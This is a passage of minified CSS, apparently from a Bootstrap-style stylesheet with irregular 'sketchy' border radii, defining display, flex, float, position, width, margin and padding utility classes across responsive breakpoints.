25px 255px !important}.rounded-top{border-top-left-radius:255px 25px 225px 25px/25px 225px 25px 255px !important;border-top-right-radius:255px 25px 225px 25px/25px 225px 25px 255px !important}.rounded-right{border-top-right-radius:255px 25px 225px 25px/25px 225px 25px 255px !important;border-bottom-right-radius:255px 25px 225px 25px/25px 225px 25px 255px !important}.rounded-bottom{border-bottom-right-radius:255px 25px 225px 25px/25px 225px 25px 255px !important;border-bottom-left-radius:255px 25px 225px 25px/25px 225px 25px 255px !important}.rounded-left{border-top-left-radius:255px 25px 225px 25px/25px 225px 25px 255px !important;border-bottom-left-radius:255px 25px 225px 25px/25px 225px 25px 255px !important}.rounded-circle{border-radius:50% !important}.rounded-0{border-radius:0 !important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-block{display:block !important}.d-table{display:table !important}.d-table-row{display:table-row !important}.d-table-cell{display:table-cell !important}.d-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}@media (min-width: 576px){.d-sm-none{display:none !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-block{display:block !important}.d-sm-table{display:table !important}.d-sm-table-row{display:table-row !important}.d-sm-table-cell{display:table-cell !important}.d-sm-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-sm-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 768px){.d-md-none{display:none !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-block{display:block !important}.d-md-table{display:table !important}.d-md-table-row{display:table-row !important}.d-md-table-cell{display:table-cell !important}.d-md-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-md-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 992px){.d-lg-none{display:none !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-block{display:block !important}.d-lg-table{display:table !important}.d-lg-table-row{display:table-row !important}.d-lg-table-cell{display:table-cell !important}.d-lg-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-lg-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media (min-width: 1200px){.d-xl-none{display:none !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-block{display:block !important}.d-xl-table{display:table !important}.d-xl-table-row{display:table-row !important}.d-xl-table-cell{display:table-cell !important}.d-xl-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-xl-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media print{.d-print-none{display:none !important}.d-print-inline{display:inline !important}.d-print-inline-block{display:inline-block !important}.d-print-block{display:block !important}.d-print-table{display:table !important}.d-print-table-row{display:table-row !important}.d-print-table-cell{display:table-cell !important}.d-print-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-print-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive iframe,.embed-responsive embed,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.8571428571%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}@media (min-width: 576px){.flex-sm-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-sm-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-sm-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-sm-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-sm-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-sm-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-sm-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-sm-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-sm-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-sm-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-sm-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-sm-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-sm-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-sm-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-sm-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-sm-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-sm-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-sm-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-sm-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-sm-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-sm-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-sm-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-sm-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-sm-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-sm-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-sm-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-sm-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-sm-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 768px){.flex-md-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-md-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-md-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-md-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-md-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-md-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-md-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-md-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-md-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-md-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-md-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-md-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-md-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-md-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-md-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-md-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-md-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-md-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-md-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-md-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-md-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-md-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-md-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-md-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-md-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-md-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-md-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-md-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 992px){.flex-lg-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-lg-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-lg-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-lg-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-lg-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-lg-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-lg-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-lg-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-lg-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-lg-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-lg-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-lg-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-lg-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-lg-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-lg-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-lg-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-lg-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-lg-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-lg-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-lg-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-lg-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-lg-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-lg-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-lg-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-lg-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-lg-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-lg-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-lg-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 1200px){.flex-xl-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-xl-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-xl-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-xl-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-xl-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-xl-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-xl-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-xl-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-xl-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-xl-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-xl-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-xl-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-xl-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-xl-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-xl-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-xl-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-xl-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-xl-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-xl-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-xl-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-xl-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-xl-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-xl-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-xl-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-xl-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-xl-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-xl-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-xl-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media (min-width: 576px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media (min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media (min-width: 992px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media (min-width: 1200px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:-webkit-sticky !important;position:sticky !important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports (position: -webkit-sticky) or (position: sticky){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;-webkit-clip-path:inset(50%);clip-path:inset(50%);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal;-webkit-clip-path:none;clip-path:none}.w-25{width:25% !important}.w-50{width:50% !important}.w-75{width:75% !important}.w-100{width:100% !important}.h-25{height:25% !important}.h-50{height:50% !important}.h-75{height:75% !important}.h-100{height:100% !important}.mw-100{max-width:100% !important}.mh-100{max-height:100% !important}.m-0{margin:0 !important}.mt-0,.my-0{margin-top:0 !important}.mr-0,.mx-0{margin-right:0 !important}.mb-0,.my-0{margin-bottom:0 !important}.ml-0,.mx-0{margin-left:0 !important}.m-1{margin:0.25rem !important}.mt-1,.my-1{margin-top:0.25rem !important}.mr-1,.mx-1{margin-right:0.25rem !important}.mb-1,.my-1{margin-bottom:0.25rem !important}.ml-1,.mx-1{margin-left:0.25rem !important}.m-2{margin:0.5rem !important}.mt-2,.my-2{margin-top:0.5rem !important}.mr-2,.mx-2{margin-right:0.5rem !important}.mb-2,.my-2{margin-bottom:0.5rem !important}.ml-2,.mx-2{margin-left:0.5rem !important}.m-3{margin:1rem !important}.mt-3,.my-3{margin-top:1rem !important}.mr-3,.mx-3{margin-right:1rem !important}.mb-3,.my-3{margin-bottom:1rem !important}.ml-3,.mx-3{margin-left:1rem !important}.m-4{margin:1.5rem !important}.mt-4,.my-4{margin-top:1.5rem !important}.mr-4,.mx-4{margin-right:1.5rem !important}.mb-4,.my-4{margin-bottom:1.5rem !important}.ml-4,.mx-4{margin-left:1.5rem !important}.m-5{margin:3rem !important}.mt-5,.my-5{margin-top:3rem !important}.mr-5,.mx-5{margin-right:3rem !important}.mb-5,.my-5{margin-bottom:3rem !important}.ml-5,.mx-5{margin-left:3rem !important}.p-0{padding:0 !important}.pt-0,.py-0{padding-top:0 !important}.pr-0,.px-0{padding-right:0 !important}.pb-0,.py-0{padding-bottom:0 !important}.pl-0,.px-0{padding-left:0 !important}.p-1{padding:0.25rem !important}.pt-1,.py-1{padding-top:0.25rem !important}.pr-1,.px-1{padding-right:0.25rem !important}.pb-1,.py-1{padding-bottom:0.25rem !important}.pl-1,.px-1{padding-left:0.25rem !important}.p-2{padding:0.5rem !important}.pt-2,.py-2{padding-top:0.5rem !important}.pr-2,.px-2{padding-right:0.5rem !important}.pb-2,.py-2{padding-bottom:0.5rem !important}.pl-2,.px-2{padding-left:0.5rem !important}.p-3{padding:1rem !important}.pt-3,.py-3{padding-top:1rem !important}.pr-3,.px-3{padding-right:1rem !important}.pb-3,.py-3{padding-bottom:1rem !important}.pl-3,.px-3{padding-left:1rem !important}.p-4{padding:1.5rem !important}.pt-4,.py-4{padding-top:1.5rem !important}.pr-4,.px-4{padding-right:1.5rem !important}.pb-4,.py-4{padding-bottom:1.5rem !important}.pl-4,.px-4{padding-left:1.5rem !important}.p-5{padding:3rem !important}.pt-5,.py-5{padding-top:3rem !important}.pr-5,.px-5{padding-right:3rem !important}.pb-5,.py-5{padding-bottom:3rem !important}.pl-5,.px-5{padding-left:3rem !important}.m-auto{margin:auto !important}.mt-auto,.my-auto{margin-top:auto !important}.mr-auto,.mx-auto{margin-right:auto !important}.mb-auto,.my-auto{margin-bottom:auto !important}.ml-auto,.mx-auto{margin-left:auto !important}@media (min-width: 576px){.m-sm-0{margin:0 !important}.mt-sm-0,.my-sm-0{margin-top:0 !important}.mr-sm-0,.mx-sm-0{margin-right:0 !important}.mb-sm-0,.my-sm-0{margin-bottom:0 !important}.ml-sm-0,.mx-sm-0{margin-left:0 !important}.m-sm-1{margin:0.25rem !important}.mt-sm-1,.my-sm-1{margin-top:0.25rem !important}.mr-sm-1,.mx-sm-1{margin-right:0.25rem !important}.mb-sm-1,.my-sm-1{margin-bottom:0.25rem !important}.ml-sm-1,.mx-sm-1{margin-left:0.25rem !important}.m-sm-2{margin:0.5rem !important}.mt-sm-2,.my-sm-2{margin-top:0.5rem !important}.mr-sm-2,.mx-sm-2{margin-right:0.5rem !important}.mb-sm-2,.my-sm-2{margin-bottom:0.5rem !important}.ml-sm-2,.mx-sm-2{margin-left:0.5rem !important}.m-sm-3{margin:1rem !important}.mt-sm-3,.my-sm-3{margin-top:1rem !important}.mr-sm-3,.mx-sm-3{margin-right:1rem !important}.mb-sm-3,.my-sm-3{margin-bottom:1rem !important}.ml-sm-3,.mx-sm-3{margin-left:1rem !important}.m-sm-4{margin:1.5rem !important}.mt-sm-4,.my-sm-4{margin-top:1.5rem !important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem !important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem !important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem !important}.m-sm-5{margin:3rem !important}.mt-sm-5,.my-sm-5{margin-top:3rem !important}.mr-sm-5,.mx-sm-5{margin-right:3rem !important}.mb-sm-5,.my-sm-5{margin-bottom:3rem !important}.ml-sm-5,.mx-sm-5{margin-left:3rem !important}.p-sm-0{padding:0 !important}.pt-sm-0,.py-sm-0{padding-top:0 !important}.pr-sm-0,.px-sm-0{padding-right:0 !important}.pb-sm-0,.py-sm-0{padding-bottom:0 !important}.pl-sm-0,.px-sm-0{padding-left:0 !important}.p-sm-1{padding:0.25rem !important}.pt-sm-1,.py-sm-1{padding-top:0.25rem !important}.pr-sm-1,.px-sm-1{padding-right:0.25rem !important}.pb-sm-1,.py-sm-1{padding-bottom:0.25rem !important}.pl-sm-1,.px-sm-1{padding-left:0.25rem !important}.p-sm-2{padding:0.5rem !important}.pt-sm-2,.py-sm-2{padding-top:0.5rem !important}.pr-sm-2,.px-sm-2{padding-right:0.5rem !important}.pb-sm-2,.py-sm-2{padding-bottom:0.5rem !important}.pl-sm-2,.px-sm-2{padding-left:0.5rem !important}.p-sm-3{padding:1rem !important}.pt-sm-3,.py-sm-3{padding-top:1rem !important}.pr-sm-3,.px-sm-3{padding-right:1rem !important}.pb-sm-3,.py-sm-3{padding-bottom:1rem !important}.pl-sm-3,.px-sm-3{padding-left:1rem !important}.p-sm-4{padding:1.5rem !important}.pt-sm-4,.py-sm-4{padding-top:1.5rem !important}.pr-sm-4,.px-sm-4{padding-right:1.5rem !important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem !important}.pl-sm-4,.px-sm-4{padding-left:1.5rem !important}.p-sm-5{padding:3rem !important}.pt-sm-5,.py-sm-5{padding-top:3rem !important}.pr-sm-5,.px-sm-5{padding-right:3rem !important}.pb-sm-5,.py-sm-5{padding-bottom:3rem !important}.pl-sm-5,.px-sm-5{padding-left:3rem !important}.m-sm-auto{margin:auto !important}.mt-sm-auto,.my-sm-auto{margin-top:auto !important}.mr-sm-auto,.mx-sm-auto{margin-right:auto !important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto !important}.ml-sm-auto,.mx-sm-auto{margin-left:auto !important}}@media (min-width: 768px){.m-md-0{margin:0 !important}.mt-md-0,.my-md-0{margin-top:0 !important}.mr-md-0,.mx-md-0{margin-right:0 !important}.mb-md-0,.my-md-0{margin-bottom:0 !important}.ml-md-0,.mx-md-0{margin-left:0 !important}.m-md-1{margin:0.25rem !important}.mt-md-1,.my-md-1{margin-top:0.25rem !important}.mr-md-1,.mx-md-1{margin-right:0.25rem !important}.mb-md-1,.my-md-1{margin-bottom:0.25rem !important}.ml-md-1,.mx-md-1{margin-left:0.25rem !important}.m-md-2{margin:0.5rem !important}.mt-md-2,.my-md-2{margin-top:0.5rem !important}.mr-md-2,.mx-md-2{margin-right:0.5rem !important}.mb-md-2,.my-md-2{margin-bottom:0.5rem !important}.ml-md-2,.mx-md-2{margin-left:0.5rem !important}.m-md-3{margin:1rem !important}.mt-md-3,.my-md-3{margin-top:1rem !important}.mr-md-3,.mx-md-3{margin-right:1rem !important}.mb-md-3,.my-md-3{margin-bottom:1rem !important}.ml-md-3,.mx-md-3{margin-left:1rem !important}.m-md-4{margin:1.5rem !important}.mt-md-4,.my-md-4{margin-top:1.5rem !important}.mr-md-4,.mx-md-4{margin-right:1.5rem !important}.mb-md-4,.my-md-4{margin-bottom:1.5rem !important}.ml-md-4,.mx-md-4{margin-left:1.5rem !important}.m-md-5{margin:3rem !important}.mt-md-5,.my-md-5{margin-top:3rem !important}.mr-md-5,.mx-md-5{margin-right:3rem !important}.mb-md-5,.my-md-5{margin-bottom:3rem !important}.ml-md-5,.mx-md-5{margin-left:3rem !important}.p-md-0{padding:0 !important}.pt-md-0,.py-md-0{padding-top:0 !important}.pr-md-0,.px-md-0{padding-right:0 !important}.pb-md-0,.py-md-0{padding-bottom:0 !important}.pl-md-0,.px-md-0{padding-left:0 !important}.p-md-1{padding:0.25rem !important}.pt-md-1,.py-md-1{padding-top:0.25rem !important}.pr-md-1,.px-md-1{padding-right:0.25rem !important}.pb-md-1,.py-md-1{padding-bottom:0.25rem !important}.pl-md-1,.px-md-1{padding-left:0.25rem !important}.p-md-2{padding:0.5rem !important}.pt-md-2,.py-md-2{padding-top:0.5rem !important}.pr-md-2,.px-md-2{padding-right:0.5rem !important}.pb-md-2,.py-md-2{padding-bottom:0.5rem !important}.pl-md-2,.px-md-2{padding-left:0.5rem !important}.p-md-3{padding:1rem !important}.pt-md-3,.py-md-3{padding-top:1rem !important}.pr-md-3,.px-md-3{padding-right:1rem !important}.pb-md-3,.py-md-3{padding-bottom:1rem !important}.pl-md-3,.px-md-3{padding-left:1rem !important}.p-md-4{padding:1.5rem !important}.pt-md-4,.py-md-4{padding-top:1.5rem !important}.pr-md-4,.px-md-4{padding-right:1.5rem !important}.pb-md-4,.py-md-4{padding-bottom:1.5rem !important}.pl-md-4,.px-md-4{padding-left:1.5rem !important}.p-md-5{padding:3rem !important}.pt-md-5,.py-md-5{padding-top:3rem !important}.pr-md-5,.px-md-5{padding-right:3rem !important}.pb-md-5,.py-md-5{padding-bottom:3rem !important}.pl-md-5,.px-md-5{padding-left:3rem !important}.m-md-auto{margin:auto !important}.mt-md-auto,.my-md-auto{margin-top:auto !important}.mr-md-auto,.mx-md-auto{margin-right:auto !important}.mb-md-auto,.my-md-auto{margin-bottom:auto !important}.ml-md-auto,.mx-md-auto{margin-left:auto !important}}@media (min-width: 992px){.m-lg-0{margin:0 !important}.mt-lg-0,.my-lg-0{margin-top:0 !important}.mr-lg-0,.mx-lg-0{margin-right:0 !important}.mb-lg-0,.my-lg-0{margin-bottom:0 !important}.ml-lg-0,.mx-lg-0{margin-left:0 !important}.m-lg-1{margin:0.25rem !important}.mt-lg-1,.my-lg-1{margin-top:0.25rem !important}.mr-lg-1,.mx-lg-1{margin-right:0.25rem !important}.mb-lg-1,.my-lg-1{margin-bottom:0.25rem !important}.ml-lg-1,.mx-lg-1{margin-left:0.25rem !important}.m-lg-2{margin:0.5rem !important}.mt-lg-2,.my-lg-2{margin-top:0.5rem !important}.mr-lg-2,.mx-lg-2{margin-right:0.5rem !important}.mb-lg-2,.my-lg-2{margin-bottom:0.5rem !important}.ml-lg-2,.mx-lg-2{margin-left:0.5rem !important}.m-lg-3{margin:1rem !important}.mt-lg-3,.my-lg-3{margin-top:1rem !important}.mr-lg-3,.mx-lg-3{margin-right:1rem !important}.mb-lg-3,.my-lg-3{margin-bottom:1rem !important}.ml-lg-3,.mx-lg-3{margin-left:1rem !important}.m-lg-4{margin:1.5rem !important}.mt-lg-4,.my-lg-4{margin-top:1.5rem !important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem !important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem !important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem !important}.m-lg-5{margin:3rem !important}.mt-lg-5,.my-lg-5{margin-top:3rem !important}.mr-lg-5,.mx-lg-5{margin-right:3rem !important}.mb-lg-5,.my-lg-5{margin-bottom:3rem !important}.ml-lg-5,.mx-lg-5{margin-left:3rem 